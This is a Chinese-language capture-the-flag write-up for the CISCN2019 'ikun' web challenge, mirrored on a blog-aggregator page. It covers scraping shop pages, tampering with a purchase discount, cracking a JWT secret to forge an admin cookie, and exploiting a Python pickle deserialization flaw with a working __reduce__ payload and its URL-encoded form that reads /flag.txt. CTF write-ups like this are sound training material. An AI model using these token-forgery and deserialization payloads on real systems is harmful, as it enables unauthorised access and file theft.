zoukankan      html  css  js  c++  java
  • [CISCN2019 华北赛区 Day1 Web2]ikun

    题目提示要买lv6,于是在下面寻找lv6,但是点击了多次下一页仍没有发现lv6

     于是果断编写python脚本来查找

     首先确认一下lv6在源代码中的名称

     然后遍历每一页查找lv6字符串即可

    import requests
    
    url = "http://abc35a7b-7533-4306-b69c-7683eec65a0d.node3.buuoj.cn/shop?page="
    
    for i in range(1, 1000):
        re = requests.get(url + str(i))
        print(url + str(i))
        if "lv6.png" in re.text:
            print(url + str(i))
            break

    输出结果如下

     在181页,藏得真的深

     使用burpsuite进行抓包,修改折扣

     结果提示只允许admin访问

     继续查看购买时的请求包,发现有JWT

     什么是JWT?JWT认识 --> https://www.cnblogs.com/cjsblog/p/9277677.html

     使用c-jwt-cracker破解JWT密钥 --> https://github.com/brendan-rius/c-jwt-cracker

     

     破解出密钥为1Kun

     然后去网站进行编码 --> https://jwt.io/

     将username改为admin,密钥改为1Kun

     

     然后将编码好的cookie重新放回去

     接着还需要修改一次cookie

     

     最后就会出现如下界面,点击一键成为大会员没有反应

     查看源代码,发现www.zip文件

     下载下来后发现一堆python文件,看来是代码审计,本人太菜不会python代码审计

     

     后面的借鉴其他大佬的博客

     Admin.py中有提示,This is Black Technology

     1 import tornado.web
     2 from sshop.base import BaseHandler
     3 import pickle
     4 import urllib
     5 
     6 
     7 class AdminHandler(BaseHandler):
     8     @tornado.web.authenticated
     9     def get(self, *args, **kwargs):
    10         if self.current_user == "admin":
    11             return self.render('form.html', res='This is Black Technology!', member=0)
    12         else:
    13             return self.render('no_ass.html')
    14 
    15     @tornado.web.authenticated
    16     def post(self, *args, **kwargs):
    17         try:
    18             become = self.get_argument('become')
    19             p = pickle.loads(urllib.unquote(become))
    20             return self.render('form.html', res=p, member=1)
    21         except:
    22             return self.render('form.html', res='This is Black Technology!', member=0)

    漏洞点为pickle反序列化,漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码,那我们就重写__reduce__()魔法方法

    python脚本如下:

    import pickle
    import urllib
    
    class payload(object):
        def __reduce__(self):
           return (eval, ("open('/flag.txt','r').read()",))    #读取flag.txt的内容,一般来说flag.txt在系统根目录下
    
    a = pickle.dumps(payload())  #序列化payload
    a = urllib.quote(a)  #进行url编码
    print(a)

    运行的时候将中文注释去掉

     点击一键成为大会员,然后修改become参数

    c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

     获取到flag

  • 相关阅读:
    rails3 routes
    rails delete destroy difference
    ruby doc
    今天提交了一个patch开心,呵呵
    ruby collect map seems the function is the same?
    jquery closest
    rails 笔记
    网店系统
    rails脚本架命令及心得
    rails3 expericence
  • 原文地址:https://www.cnblogs.com/gtx690/p/13330218.html
Copyright © 2011-2022 走看看